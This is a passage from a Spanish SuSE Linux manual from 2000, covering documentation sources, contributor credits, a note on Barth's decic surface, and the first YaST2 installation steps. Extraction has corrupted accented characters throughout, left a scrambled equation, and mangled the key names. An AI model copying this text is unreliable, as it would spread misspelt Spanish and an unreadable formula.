  1429.  *        ||||
  1430.                            |  FAQappendix.F.                                                                                       *
  1431.  *        ||||
  1432.                            |_______________________________________________________________________________________________________*
  1433.  *________|||_
  1434.  
  1435.                            El directorio /usr/doc/faq merece una menci≤n especial ya que contiene
  1436.                            listas con preguntas frecuentes y sus correspondientes respuestas; hace falta
  1437.                            tener  instalado  el  paquete  manyfaqs,  serie  doc.   El  directorio  /usr/doc/
  1438.                            howto contiene instrucciones para la instalaci≤n de diversos paquetes y con-
  1439.                            sejos sobre c≤mo solventar posibles problemas.  TambiΘn es posible leer la
  1440.                            mayorφa  de  los  HowTos  accediendo  desde  el  men·  del  entorno  grßfico  o  a
  1441.                            travΘs del sistema de ayuda de SuSE     (ver apartado 1.4.2 en la pßgina 8Ayuda
  1442.                            en hipertextosubsection.1.4.2). Bajo Linux se puede leer esta documentaci≤n
  1443.                            usando p. ej.  less 1 :
  1444.                                  tux@tierra:/home/tux  >  cd  /usr/doc/howto/en
  1445.                                  tux@tierra:/usr/doc/howto/en  >  less  DOS-to-Linux-HOWTO.gz
  1446.                            Las versiones mßs importantes de los ficheros FAQ y HowTo que estaban a
  1447.                            disposici≤n en el momento del cierre de la edici≤n del CD, se encuentran en el
  1448.                            directorio docu del primer CD, asφ que tambiΘn vale la pena echar una mirada
  1449.                            a este directorio.  Ademßs, estos ficheros no estßn comprimidos y por tanto
  1450.                            pueden ser leφdos antes de la instalaci≤n,  p. ej.  desde DOS con el comando
  1451.                            type    .
  1452.  
  1453.                            Una fuente de informaci≤n exhaustiva, que responde a preguntas y problemas
  1454.                            con el kernel, es el directorio /usr/src/linux/Documentation que existe
  1455.                            en el disco cuando se ha efectuado la recomendable instalaci≤n de las fuentes
  1456.                            del kernel (paquete linux o paquete lx_suse).  Aparte de esto, hay muchos
  1457.                            consejos  valiosos  en  los  respectivos  sub-directorios  de  estas  fuentes  (p. ej.
  1458.                            respecto a drivers para tarjetas de sonido), tal como en el directorio del kernel
  1459.                            mismo ~ para los mßs curiosos y atrevidos.
  1460.  
  1461.                            Es muy aconsejable consultar las fuentes de informaci≤n aquφ mencionadas
  1462.                            por si alg·n dφa tuviera una pregunta que no cubra este libro ya que por una
  1463.                            parte el tama±o de Θste es limitado y por otra el desarrollo del sistema Linux
  1464.                            es tan rßpido que un documento impreso representa el estado actual para poco
  1465.                            tiempo.
  1466.  
  1467.  
  1468.                            1.4.6      Libros gratuitos
  1469.  
  1470.                            En el paquete books, serie doc (documentaci≤n) hay un par de libros en for-
  1471.                            mato PostScript, que se pueden visualizar o imprimir con el paquete gsview,
  1472.                            serie gra (grßficos) o el paquete gv, serie gra (grßficos).  Antes de imprimir
  1473.                            uno de estos libros se deberφa considerar si no es mßs econ≤mico comprar un
  1474.                            libro de este estilo, tal vez en espa±ol, ya que los libros mencionados son en
  1475.                            inglΘs.
  1476.  
  1477.  
  1478.                            1.5       MΘritos
  1479.  
  1480.                            Son muchos los que han contribuido al tremendo Θxito de Linux, pero espe-
  1481.                            cialmente_queremos_dar_las_gracias_a_Florian_La Roche, cuya experiencia
  1482.                            1 Sφ Sr. Experto, ha leφdo correctamente: nuestro less   es tan ''list'' que incluso sabe leer ficheros
  1483.                            comprimidos ;-)
  1484.  
  1485.  
  1486. 10
  1487.        ________________________________________________________________________________________________________________1.5.__MΘrito*
  1488.  *s_____________________
  1489.  
  1490.  
  1491.  
  1492. en la construcci≤n de un sistema Linux ha sido extraordinariamente valiosa;
  1493. fue su incansable trabajo el que finalmente permiti≤ generar un n·cleo de sis-
  1494. tema s·per-actual y potente.  Como tenφa muchos a±os de experiencia con su
  1495. propia distribuci≤n jurix , que seg·n los comentarios confidenciales en Inter-
  1496. net era la mejor, pudo asφ contribuir de manera importante en el desarrollo de
  1497. SuSE      Linux.
  1498.  
  1499. TambiΘn damos las gracias a Harald K÷nig del XFree86 TM   -Team,  que
  1500. nos  dio  consejos  valiosos  respecto  al  sistema  X  Window  y  a  Eberhard
  1501. M÷nkeberg,  quien  siempre  echaba  una  mano  en  caso  de  problemas  con
  1502. drivers de CD-ROM.
  1503.  
  1504. Muchas gracias a Hans Lermen; de Θl es el conocido loadlin (loadlin.exe          ),
  1505. que   permite   arrancar   Linux   desde   DOS   y,   el   programa   DOS   Setup
  1506. (setup.exe        ) de este sistema Linux.
  1507.  
  1508. Los siguientes altruistas hicieron posible la traducci≤n de YaST  y de linuxrc ;
  1509. todos ellos se preocuparon durante su tiempo libre de abrir el mundo de Linux
  1510. a una mayor cantidad de personas en todo el mundo: Gunay Arslan, Zbigniew
  1511. Baniewski, Sßndor Bßrßny, Olaf Borkner-Delcarlo, Michael Bravo, Michael
  1512. Burghart,  Franca  Delcarlo,  Jochen  Depner,  Benedek  Hermann,  Ibßn  JosΘ
  1513. Garcφa Castillo,  Dora Georgarou (with Romy the barking dog),  Pablo Iran-
  1514. zo G≤mez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf A.
  1515. Lanz, Franτoise Lermen, Zoltßn Levßrdy, Nuno Lima, Tomas Morkus, Car-
  1516. men  Marφn  PΘrez,  Matts  Nordman,  Aleksey  Novodvorsky,  Razvan  Cristian
  1517. Oprea, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, ┴kos Rßtkai,
  1518. Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos, Joao
  1519. Teles, Nuno Vieira, January Weiner y I Made Wiryana.
  1520.  
  1521. TambiΘn reciben nuestra gratitud los Beta-tester, que no tienen miedo a poner
  1522. continuamente  en  peligro  la  estabilidad  de  su  sistema:   Andreas  Koegel,
  1523. Christian Hⁿttermann, Dirk Ulbrich, Eberhard M÷nkeberg, Frank Hofmann,
  1524. Georg C. F. Greve, Harald K÷nig, Harald Wieland, Karlo Gross, Jens Frank,
  1525. Lutz Pressler, Martin Hehl, Martin Konold, Martin Schulze, Michael Klein-
  1526. henz,   Norbert  Eicker,   Oliver  Zendel,   Ralf  Geschke,   Stefan  Bliesener,
  1527. Thomas  W÷rner,  Ulrich  Goebel,  Ulrich  Windl,  Volker  Lendecke,  Wolf-
  1528. gang Barth y das KDE Team.
  1529.  
  1530. Andrea  Ratschker  y  Thorsten  Wandersmann  se  encargaron  del  tedioso  tra-
  1531. bajo  de  generar  y  editar  las  imßgenes.   Holger  Achtziger,  Harald  Bertram,
  1532. Thomas Biege, Peter Findeisen, Matthias Frⁿhauf, Kurt Garloff, Lenz Grim-
  1533. mer,  Carsten  Gro▀,  Berthold  Gunreben,  Bernhard  H÷lcker,  Kevin  Ivory,
  1534. Klaus  KΣmpf,  Karsten  Keil,  Wolfgang  Kern,  Thorsten  Kukuk,  Johannes
  1535. Meixner, Petr Pavlik, Bj÷rn Pfeiffer, Jⁿrgen Scheiderer y Robert Adrian Wal-
  1536. czak nos dieron consejos importantes, e incluso parcialmente, texto listo para
  1537. el manual.
  1538.  
  1539. Especialmente a Holger Dyroff, Christian Egle, Frank Sundermeyer y Clau-
  1540. dio Taulli que se encargaron de la producci≤n ~ que contin·en asφ!
  1541.  
  1542. Aparte de ellos hay mucha gente que trabaja en el fondo, pero sin los cuales no
  1543. funcionarφa nada: Adrian, Agathe, Alexander, Alexander, Alexander, Alexan-
  1544. dra, Anas, Andrea Karin, Andreas, Andreas, Andreas, Andreas, Anita, Antje,
  1545. Arnd, Barbara, Beate, Bernd, Bernhard, Bernhard, Berthold, Birgit, Brigitte,
  1546.  
  1547.  
  1548.                                                                                                                                    *
  1549.  *     11
  1550. 1.  Introducci≤n  _________________________________________________________________________________________________________________*
  1551.  *_______________________________________@
  1552.  
  1553.  
  1554.  
  1555.                            Burchard, Carlos, Carsten, Carsten, Carsten, Christian, Christian, Christian,
  1556.                            Christian, Christian, Christian, Christian, Christoph-Erdmann, Claudia, Clau-
  1557.                            dio, Costin, Daniel, Daniel, David, Dieter, Dieter, Dirk, Dirk, Dirk, Dragan,
  1558.                            Erich, Evelyn, Florian, Francisca, Francoise, Francoise, Frank, Frank, Frank,
  1559.                            Frank,  Frank,  Frank,  Friedrich,  Gabriele,  Gema,  Georg,  Gerlinde,  Ghayss,
  1560.                            Gregor, Harald, Harald, Hardo, Hartmut, Heidi, Heiko, Helene, Helmut, Hol-
  1561.                            ger,  Holger,  Hubert,  Hubert,  Ines,  Ingo,  Jan,  Jesko,  Joachim,  Jochen,  Jo-
  1562.                            hannes, Jordi, J÷rg, J÷rg, J÷rg, J÷rg, J÷rg, J÷rg-Gerald, Jⁿrgen, Jⁿrgen, Jⁿr-
  1563.                            gen, Kadriye, Kai, Karin, Karin, Karine, Karl, Karl-Heinz, Katrin, Kenneth,
  1564.                            Klaas, Klaus, Klaus, Klaus, Konrad, Kurt, Kyung Ae, Lenz, Manuela, Marc,
  1565.                            Marco,  Marcus,  Marcus,  Marius,  Mark,  Markus,  Martin,  Martin,  Martin,
  1566.                            Martina, Martina, Matthias, Matthias, Matthias, Matthias, Melanie, Michael,
  1567.                            Michael,  Michael,  Michael,  Michael,  Michael,  Michael,  Michael,  Michael,
  1568.                            Michael,  Michaela,  Michaela,  Milisav,  Miriam,  Nadin,  Nicolas,  Nicolaus,
  1569.                            Nicole, Nina, Norbert, Olaf, Oliver, Oliver, Oliver, Patricia, Peter, Peter, Pe-
  1570.                            ter, Peter, Peter, Peter, Peter, Petra, Philipp, Pia, Reinhard, Reinhard, Remo,
  1571.                            Renate, Rolf, Rⁿdiger, Rⁿdiger, Rⁿdiger, Sabina, Sebastian, Silke, Silvia, Si-
  1572.                            mon, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefanie, Steffen,
  1573.                            Stephan, Stephan, Stephan, Stephen, Sven, Sylvia, Tanja, Tatjana, Thomas,
  1574.                            Thomas,  Thomas,  Thomas,  Thomas,  Thomas,  Thorsten,  Thorsten,  Tilman,
  1575.                            Timo,  Ulrich,  Ulrich,  Uwe,  Uwe,  Uwe,  Volker,  Waldo,  Walter,  Waltraud,
  1576.                            Werner, Wittawat, Wolfgang, Wolfgang, Wolfgang und Wolfgang ~ muchas
  1577.                            gracias a todos!
  1578.  
  1579.                            La  imagen  en  la  cubierta  del  libro  viene  de  Stephan  Endra▀,  tambiΘn
  1580.                            muchas gracias a Θl!
  1581.  
  1582.                            Para la gente con interΘs matemßtico, a continuaci≤n algunas palabras sobre
  1583.                            ello:
  1584.  
  1585.  
  1586.                                                         La superficie de grado 10 de Barth
  1587.  
  1588.  
  1589.                            Considere la ecuaci≤n
  1590.                                - 2    4  2 .    -  2    4  2 .   - 2    4  2 .    - 4    4    4     - 2  2    2  2    2  2 .     .
  1591.                              8  x    °  y         y    °  z       z    °  x        x  + y  + z    2  x  y  + y  z  + z  x
  1592.                                                 -  2    2    2    .       2 - 2    2    2             .       2
  1593.                                 + (3 + 5°)        x  + y  + z    1           x  + y  + z    (2   °)             = 0;
  1594.  
  1595.                                            p  __
  1596.                            donde  ° = (1 +    5 )=2  denota  la  relaci≤n  de  oro.   Esto  define  la  superficie
  1597.                            de grado 10 (decic) encontrada por W. Barth (Erlangen, Alemania) en 1994.
  1598.                            Esta superficie es altamente notable porque tiene 345 doble puntos,  lo cual
  1599.                            es un record mundial.  Seg·n el complicado teorema del matemßtico japonΘs
  1600.                            Y. Miyaoka,  ninguna superficie de grado 10 puede tener mßs de 360 doble
  1601.                            puntos, pero hasta ahora nadie ha visto alguna con mßs de 345.
  1602.  
  1603.                            La ecuaci≤n que se muestra arriba se obtiene de los icosahedrales invariables,
  1604.                            los cuales ya se conocφan hace dos siglos gracias a E. Goursat (1858-1936).
  1605.                            Por lo tanto el grado 10 de Barth admite la simetrφa del icosahedron.
  1606.  
  1607.                            0
  1608.  
  1609.                                                                                   *
  1610.                                                                        *                     *
  1611.                                                                                   *
  1612.  
  1613.  
  1614. 12
  1615.        ________________________________________________________________________________________________________________1.5.__MΘrito*
  1616.  *s_____________________
  1617.  
  1618.  
  1619.  
  1620. Los desarrolladores de Linux impulsan con mucho esfuerzo voluntario y en
  1621. colaboraci≤n a escala mundial, el avance de Linux.  Les agradecemos su em-
  1622. pe±o ~ sin ellos no existirφa este CD. Con nuestro trabajo queremos propor-
  1623. cionar el resultado de su esfuerzo a un cφrculo amplio de usuarios.
  1624.  
  1625. íNuestro agradecimiento se dirige tambiΘn a Patrick Volkerding por el
  1626. soporte a nuestro trabajo y naturalmente a Linus Torvalds!
  1627.  
  1628. Gracias sobre todo a Frank Zappa y Pawar!
  1629.  
  1630. Nⁿrnberg, 16 de marzo de 2000
  1631.  
  1632. Have a lot of fun!
  1633.  
  1634.                        Su equipo SuSE
  1635.                                                                                                                                    *
  1636.  *     13
  1637. 1.  Introducci≤n  _________________________________________________________________________________________________________________*
  1638.  *_______________________________________@
  1639.  
  1640. 14
  1641.  
  1642.  
  1643.                                  Parte  II
  1644.  
  1645.  
  1646. Instalaci≤n   SuSE                   Linux
  1647.  
  1648.  
  1649.                                                                                                                               15
  1650.  
  1651.  
  1652.                                                                                                            Capφtulo  2
  1653.                 La   primera   instalaci≤n   de   SuSE
  1654.  
  1655.  
  1656.  
  1657.                                                                                                                     Linux
  1658.  
  1659.  
  1660.  
  1661. 2.1       íDirecto al Θxito!
  1662.  
  1663. Desde SuSE     Linux 6.3 se ha simplificado a·n mßs la primera instalaci≤n del
  1664. sistema,  ya  que  con  YaST2 ~  el  nuevo  YaST  ~  tiene  desde  un  principio  a
  1665. su  disposici≤n  una  herramienta  inteligente  integrada  en  un  entorno  grßfico.
  1666. Con  YaST2  y  una  computadora  moderna,  bien  equipada,  SuSE      Linux  se
  1667. instala c≤moda y rßpidamente.  En el caso que lo desee o lo necesite, puede
  1668. configurar el sistema en modo texto.
  1669.  
  1670. Varias pantallas con dißlogos guφan al usuario por la instalaci≤n; siempre que
  1671. el usuario tenga libertad de configuraci≤n, se le ofrece la posibilidad de tomar
  1672. una decisi≤n o de introducir datos.
  1673.        _______________________________________________________________________________________________________________________||
  1674.        ||||||||  Aparte  de  YaST2 ,  especialmente  dise±ado  para  el  principiante,  existe                  |||            |
  1675.        ||||||||  a·n el programa YaST  (ingl. Yet another Setup-Tool) tradicional para el                       ||             |
  1676.        ||||||||                                                                                                 ||             |
  1677.        ||||||||  usuario experimentado de SuSE     Linux.  ~ consulte las explicaciones en el                   ||             |
  1678.        ||||||||                                                                                                 ||             |
  1679.        ||||||||  apartado 2.2 en la pßgina 30Instalaci≤n con YaST  en modo texto (YaST                          ||             |
  1680.        ||||||||  1)section.2.2.                                                                                 ||             |
  1681.        ||||||||_______________________________________________________________________________________________________________||_
  1682.  
  1683.  
  1684. 2.1.1      Preparativos breves
  1685.  
  1686. A continuaci≤n le ofrecemos un resumen para ayudarle a decidir cußl mΘtodo
  1687. es el mßs adecuado en su caso:
  1688.  
  1689.  1.   Siempre que se cumplan las siguientes condiciones, es posible instalar el
  1690.       sistema con Θxito directamente desde el CD 1 usando YaST2  :
  1691.  
  1692.       o   La computadora
  1693.  
  1694.           ~   deberφa tener la posibilidad de arrancar desde el CD-Rom;
  1695.           ~   es recomendable un sistema grßfico seg·n el estßndar VESA 2.0 (es
  1696.               de suponer que una computadora reciente lo tenga)
  1697.           ~   en lo que sea posible unos 64 MB de memoria RAM o mßs
  1698.           ~   un procesador tipo Pentium.
  1699.  
  1700.           Si no se cumplen todos los requisitos puede haber ciertas restricciones:
  1701.  
  1702.           ~   Arrancar desde el disquete de arranque ''Bootdisk''.
  1703.  
  1704.  
  1705.                                                                                                                                    *
  1706.  *     17
  1707. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  1708.  *_______________________________________@
  1709.  
  1710.  
  1711.  
  1712.                                      ~   El  software  del  CD  siguiente  no  se  instala  antes  de  un  ''arranque
  1713.                                          intermedio'' por falta de memoria RAM.
  1714.                                      ~   La instalaci≤n se lleva a cabo en modo texto cuando no se reconoce
  1715.                                          bien la tarjeta grßfica.
  1716.  
  1717.                                  o   El disco duro proporciona suficiente espacio disponible para la insta-
  1718.                                      laci≤n:  150 MB para el sistema bßsico, alrededor de 500 MB para la
  1719.                                      instalaci≤n estßndar con el requerimiento de mßs espacio para compo-
  1720.                                      nentes adicionales. Para ello existen las siguientes posibilidades:
  1721.  
  1722.                                      ~   Una  computadora  nueva  sin  sistema  operativo  para  realizar  la
  1723.                                          primera instalaci≤n.
  1724.                                      ~   Un disco duro que ya lleva un sistema operativo instalado, pero que
  1725.                                          a·n guarda suficiente espacio.
  1726.                                      ~   Existe un segundo disco duro para SuSE     Linux.
  1727.                                      ~   Es posible borrar unas particiones ya usadas.  íEn este caso reflex-
  1728.                                          ione sobre cußles son los datos que requieren un respaldo antes de
  1729.                                          la instalaci≤n!
  1730.  
  1731.                                  Si se cumplen estas condiciones, ya es posible comenzar ~ contin·e en-
  1732.                                  tonces con el apartado 2.1.2.
  1733.                             2.   Use  el  ''antiguo''  YaST  para  la  instalaci≤n  si  se  cumplen  las  siguientes
  1734.                                  circunstancias:
  1735.  
  1736.                                  o   El usuario quiere realizar una instalaci≤n ''profesional'',  ajustando el
  1737.                                      sistema de forma especial.
  1738.  
  1739.                                  o   Las particiones en el (los) disco(s) se hacen a gusto propio o es preciso
  1740.                                      usar particiones distribuidas en varios discos.
  1741.  
  1742.                                  o   Actualizaci≤n de SuSE      Linux:  Primero consulte el capφtulo 15 en la
  1743.                                      pßgina 393Actualizaci≤n del sistema ~ Gesti≤n de paqueteschapter.15.
  1744.                            ________________________________________________________________________________________________________*
  1745.  *________
  1746.                            |  Para iniciar la instalaci≤n con el programa YaST  ''antiguo'' hace falta in-                         *
  1747.  *        ||||
  1748.                            |                                                                                                       *
  1749.  *        |||
  1750.                            |  dicar yast1      en el prompt de arranque ("boot:    ").  Hay explicaciones                          *
  1751.  *        |||
  1752.                            |                                                                                                       *
  1753.  *        |||
  1754.                            |  concretas  para  este  modo  de  instalaci≤n  en  el  apartado  2.2  en  la  pßgi-                   *
  1755.  *        |||
  1756.                            |  na 30Instalaci≤n con YaST  en modo texto (YaST  1)section.2.2.                                       *
  1757.  *        |||
  1758.                            |_______________________________________________________________________________________________________*
  1759.  *________|||_
  1760.  
  1761.                            Ademßs  resulta  ·til  leer  los  ficheros  README        del  CD  1  o  CD  2  (bajo
  1762.                            DOS/Windows  README.DOS         )  para  ver  los  cambios  adicionales  que  se  re-
  1763.                            alizaron despuΘs de la impresi≤n del manual.
  1764.  
  1765.  
  1766.                            2.1.2      A continuaci≤n: La pantalla de bienvenida
  1767.  
  1768.                            Encienda la computadora y coloque el CD 1 en el lector.  Si Θsta no quiere
  1769.                            arrancar desde el CD, tal vez sea necesario cambiar la secuencia de arranque
  1770.                            en la BIOS de la computadora a CDROM,C,A         ; la documentaci≤n de su com-
  1771.                            putadora o placa base le indica c≤mo realizar este cambio.
  1772.  
  1773.                            Pasado  un  momento  aparece  la  pantalla  de  bienvenida  (figura  2.1  en  la
  1774.                            pßgina  31A  continuaci≤n:  La  pantalla  de  bienvenidasubsection.2.2.2)  y  el
  1775.                            ''prompt'' de arranque "boot:Σ  parece en el extremo inferior de la pantalla.
  1776.  
  1777.                            Ahora tiene alrededor de 3 segundos para intervenir y aprovechar dos partic-
  1778.                            ularidades de YaST2 :
  1779.  
  1780.  
  1781. 18
  1782.        __________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
  1783.  *______________________
  1784.  
  1785.  
  1786.  
  1787.  1.   Efectuar la instalaci≤n en modo texto.  Se trata de una opci≤n razonable
  1788.       para distintas circunstancias especiales; las pantallas en modo texto pre-
  1789.       sentan p. ej.  mejor visibilidad a las personas con problemas de vista.
  1790.  
  1791.       Para entrar al modo texto pulse |C______|_trl.  En la parte inferior derecha de la
  1792.       pantalla se indica el inicio en modo texto.
  1793.  
  1794.  2.   Cargar  el  ''YaST  Extension  Disk''.   ~  Mediante  esta  opci≤n  es  posible
  1795.       cargar actualizaciones y ampliaciones para YaST2  antes de la instalaci≤n
  1796.       propiamente dicha.
  1797.  
  1798.       En  este  caso  pulse  |_____|Alt.   En  la  parte  derecha  de  la  pantalla  aparece
  1799.       el  mensaje  "Have  your  extension  disk  ready"  y  este  disquete  se
  1800.       pedirß mßs adelante.
  1801.  
  1802. A  continuaci≤n  aparecerßn  en  la  parte  inferior  de  la  pantalla  los  mensajes
  1803. "initrd..." y "Loading  linux..."; transcurrido un momento el +  Ker-
  1804. nel arranca ~ se hace notar por muchos ''mensajes de kernel'' que pasan rßpi-
  1805. damente por la pantalla.
  1806.  
  1807. YaST2  se estß iniciando y la computadora se tarda un par de segundos para
  1808. mostrar la superficie grßfica.
  1809.  
  1810.  
  1811. Posibles problemas
  1812.  
  1813.   o   Si  el  sistema  se  para  despuΘs  de  mostrar  la  pantalla  de  bienvenida  ~  lo
  1814.       que significa que la computadora tiene problemas de arrancar ~ existe la
  1815.       posibilidad de intervenir pulsando cualquier tecla durante los 3 segundos
  1816.       siguientes a la aparici≤n del ''prompt'' "boot:". Asφ la pantalla se queda
  1817.       estßtica y es posible_introducir datos; en estos casos el arranque contin·a
  1818.       cuando se pulsa |_____-|.
  1819.        _______________________________________________________________________________________________________________________||
  1820.        ||||||||  Si  se  presentan  problemas  de  arranque,  consulte  el  apartado  2.7.5  en  la             |||            |
  1821.        ||||||||                                                                                                 ||             |
  1822.        ||||||||  pßgina  64Un  lector  CD-ROM  ATAPI  se  traba  leyendosubsection.2.7.5  y                     ||             |
  1823.        ||||||||  el  apartado  14.3.2  en  la  pßgina  360Parßmetros  del  kernel  en  el  Boot-                ||             |
  1824.        ||||||||                                                                                                 ||             |
  1825.        ||||||||  Promptsubsection.14.3.2. Estos explican como resolver los posibles prob-                       ||             |
  1826.        ||||||||                                                                                                 ||             |
  1827.        ||||||||  lemas indicando ''parßmetros de kernel''.                                                      ||             |
  1828.        ||||||||  La  lista  de  comprobaci≤n  de  hardware  en  el  apartado  2.7.13  en  la  pßgi-             ||             |
  1829.        ||||||||                                                                                                 ||             |
  1830.        ||||||||  na  67Problemas  generales  de  hardwaresubsection.2.7.13  tambiΘn  es  una                    ||             |
  1831.        ||||||||  buena fuente de informaci≤n.                                                                   ||             |
  1832.        ||||||||_______________________________________________________________________________________________________________||_
  1833.  
  1834.   o   Hay algunas versiones de la BIOS, que no son capaces de tratar una im-
  1835.       agen de arranque ''Bootimage'' grande (2,88 MB), asφ como se encuentra
  1836.       en el CD 1.  En tal caso intente usar el CD 2 o el disquete de arranque
  1837.       ''Bootdisk''.
  1838.  
  1839.  
  1840. 2.1.3      íAllφ estß: YaST2 !
  1841.  
  1842. Durante toda la instalaci≤n, YaST2  muestra en la parte izquierda de la pan-
  1843. talla un texto de ayuda en relaci≤n a la fase actual de la instalaci≤n.
  1844.  
  1845. YaST2  testea  el  hardware  y  configura  todo  el  hardware  que  reconoce.   El
  1846. avance  en  este  proceso  se  muestra  grßficamente  .   Una  vez  terminada  esta
  1847. fase, se pasa automßticamente al pr≤ximo punto.
  1848.  
  1849.  
  1850.  
  1851.                                                                                                                                    *
  1852.  *     19
  1853. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  1854.  *_______________________________________@
  1855.  
  1856.  
  1857.  
  1858.                            2.1.4      Selecci≤n del idioma
  1859.                            Ahora tiene que intervenir por primera vez en el proceso de instalaci≤n medi-
  1860.  
  1861.                            ante el teclado o el rat≤n.
  1862.  
  1863.                            Se pueden seleccionar con el mouse todos los campos, cuadros de dißlogo y
  1864.                            lista.
  1865.  
  1866.                            El uso del teclado en lugar del mouse debe seguir las siguientes pautas:
  1867.  
  1868.  
  1869.                              o   Con | _____|Tabse  puede  direccionar__el__foco  hacia__una_ determinada  zona,  un
  1870.                                  cuadro de dißlogo o un bot≤n;_|*___________|Shift+_|T____a|bpermite seleccionar otros
  1871.                                  grupos de selecci≤n.  Con | _"|y | _#| es posible seleccionar una opci≤n o
  1872.                                  pasar por una lista ~ esto depende del ßrea activa (el ßrea con el foco).
  1873.  
  1874.                              o   El comando seleccionado se ejecuta con |______|-,  normalmente se ejecuta
  1875.                                  justamente la acci≤n que figura sobre el bot≤n activo.
  1876.  
  1877.                              o   Con |E___________|spaciose puede marcar opciones.
  1878.  
  1879.                              o   Ademßs, es posible_activar la mayorφa de las opciones con la combinaci≤n
  1880.                                  de teclas |A____l|t+ Letra subrayada (de la opci≤n).
  1881.                            ________________________________________________________________________________________________________*
  1882.  *________||
  1883.                            |  No  se  asuste:   Aquφ  y  en  todos  los  demßs  cuadros  de  dißlogo  YaST2                        *
  1884.  *        ||||
  1885.                            |                                                                                                       *
  1886.  *        |||
  1887.                            |  solo  colecciona  informaci≤n,   que  se  presentarß  resumida  mßs  tarde.                          *
  1888.  *        |||
  1889.                            |                                                                                                       *
  1890.  *        |||
  1891.                            |  En  el  apartado  2.1.13  en  la  pßgina  26Confirmaci≤n  e  inicio  de  la                          *
  1892.  *        |||
  1893.                            |  instalaci≤nsubsection.2.1.13  a·n  tiene  la  posibilidad  de  usar  el  bot≤n                       *
  1894.  *        |||
  1895.                            |                                                                                                       *
  1896.  *        |||
  1897.                            |  `Atrßs'  para  volver  a  los  dißlogos  anteriores  con  el  fin  de  corregir  los                 *
  1898.  *        |||
  1899.                            |  datos introducidos.                                                                                  *
  1900.  *        |||
  1901.                            |_______________________________________________________________________________________________________*
  1902.  *________|||_
  1903.  
  1904.                            YaST2  pide  que  se  indique  el  idioma;  pulsando  `Siguiente'  todos  los
  1905.                            textos de los dißlogos siguientes cambian al idioma deseado.
  1906.  
  1907.  
  1908.                            Posibles problemas
  1909.  
  1910.                              o   En caso de tener un tipo de mouse poco com·n, es posible que Θste no se
  1911.                                  reconozca automßticamemte. En este caso use primero el mouse tal como
  1912.                                  se explica al comienzo de este apartado.  El siguiente dißlogo de YaST2
  1913.                                  le permite configurar el mouse manualmente; ver apartado 2.1.5).
  1914.  
  1915.  
  1916.                            2.1.5      Selecci≤n del mouse
  1917.  
  1918.                            El  dißlogo  que  se  presenta  aquφ  solamente  aparece  cuando  YaST2  no  ha
  1919.                            reconocido el mouse automßticamente.
  1920.  
  1921.                            Aparece un cuadro de dißlogo con una lista en la cual es preciso seleccionar
  1922.                            el tipo de mouse usado .
  1923.  
  1924.                            Con las flechas |#_|_y |"_|_se puede pasar por la_lista;_cuando se haya encontrado
  1925.                            el tipo de mouse correcto,_se debe pasar con |T____a|bal bot≤n `Probar' pulsan-
  1926.                            do seguidamente |_____-|.  Ahora mueva el mouse;  si Θste se mueve de forma
  1927.                            controlada es porque todo estß bien y entonces debe ser posible seleccionar
  1928.                            `Siguiente' con el mouse :-)
  1929.  
  1930.                            En caso_de_no haber encontrado el tipo correcto de mouse, es posible volver
  1931.                            con |T____a|ba la lista y corregir la definici≤n.
  1932.  
  1933.  
  1934.  
  1935. 20
  1936.        __________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
  1937.  *______________________
  1938.  
  1939.  
  1940.  
  1941. Posibles problemas
  1942.   o   Ning·n tipo de mouse funciona o no se necesita ninguno.  En este caso
  1943.  
  1944.       active la opci≤n `Ninguno' para pasar por el resto de la instalaci≤n sin
  1945.       usar el mouse.
  1946.  
  1947.  
  1948. 2.1.6      Determinar el teclado y zona horaria
  1949.  
  1950. ┐Cußl distribuci≤n de teclado estß usando?  ┐En cußl punto de la tierra (o sea
  1951. en cußl zona horaria) se encuentra con su computadora? Determine d≤nde se
  1952. encuentra.
  1953.  
  1954.  
  1955.   o   TambiΘn  existe  aquφ  la  posibilidad__de_ comprobar  el  teclado.   Para  ello
  1956.       active con un click del mouse o con |T____a|bel recuadro de introducci≤n de
  1957.       texto. Compruebe sobre todo `y'/`z' y los caracteres acentuados.
  1958.  
  1959.   o   La segunda opci≤n es la de una lista de paφses que aparece en una estruc-
  1960.       tura de ßrbol (continente/paφs/provincia).  Seleccione el paφs o una parte
  1961.       de Θl; YaST2  se encarga de encontrar la zona horaria correspondiente.
  1962.  
  1963.  
  1964. Con el bot≤n `Siguiente' se llega al pr≤ximo cuadro de dißlogo.
  1965.  
  1966.  
  1967. 2.1.7      ┐Instalaci≤n nueva o Actualizaci≤n?
  1968.  
  1969. Con YaST2 se puede instalar SuSE     Linux desde cero o actualizar una versi≤n
  1970. existente (''Update'') para mantener las configuraciones individuales.
  1971.  
  1972.  
  1973. `Instalaci≤n  nueva'                  ~ Seleccione esta opci≤n, ya que el presente aparta-
  1974.       do trata sobre la instalaci≤n nueva de SuSE     Linux.
  1975.  
  1976. `Actualizaci≤n'                ~ Esta opci≤n no se detalla aquφ..
  1977.  
  1978.  
  1979. La descripci≤n en los siguientes apartados supone haber seleccionado `In-
  1980. stalaci≤n  nueva' pasßndose a `Siguiente'.
  1981.  
  1982.  
  1983. 2.1.8      Preparar el disco duro
  1984.  
  1985. Los siguientes pasos estßn destinados a seleccionar y preparar el (los) disco(s)
  1986. duro(s) para instalar SuSE     Linux.  ~ Seg·n la configuraci≤n individual de la
  1987. computadora, puede haber variaciones mßs o menos grandes sobre el ejemplo
  1988. expuesto.
  1989.  
  1990.  
  1991. Paso 1
  1992.  
  1993.   o   Cuando hay mßs de un disco duro en la computadora,  primero hay que
  1994.       decidir cußl usar.  Los discos duros que se encuentran se apuntan en una
  1995.       lista.
  1996.  
  1997.   o   Otra posibilidad es la de seleccionar la opci≤n (`Configuraci≤n  avan-
  1998.       zada'),  para  tener  la  posibilidad  de  particionar  el  disco  manualmente.
  1999.       Queda la posibilidad de entrar mßs tarde a esta opci≤n, en el supuesto de
  2000.       que falte espacio en el disco duro.
  2001.  
  2002.  
  2003. Lo normal es seleccionar un disco y pulsar despuΘs `Siguiente'.
  2004.  
  2005.  
  2006.  
  2007.                                                                                                                                    *
  2008.  *     21
  2009. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
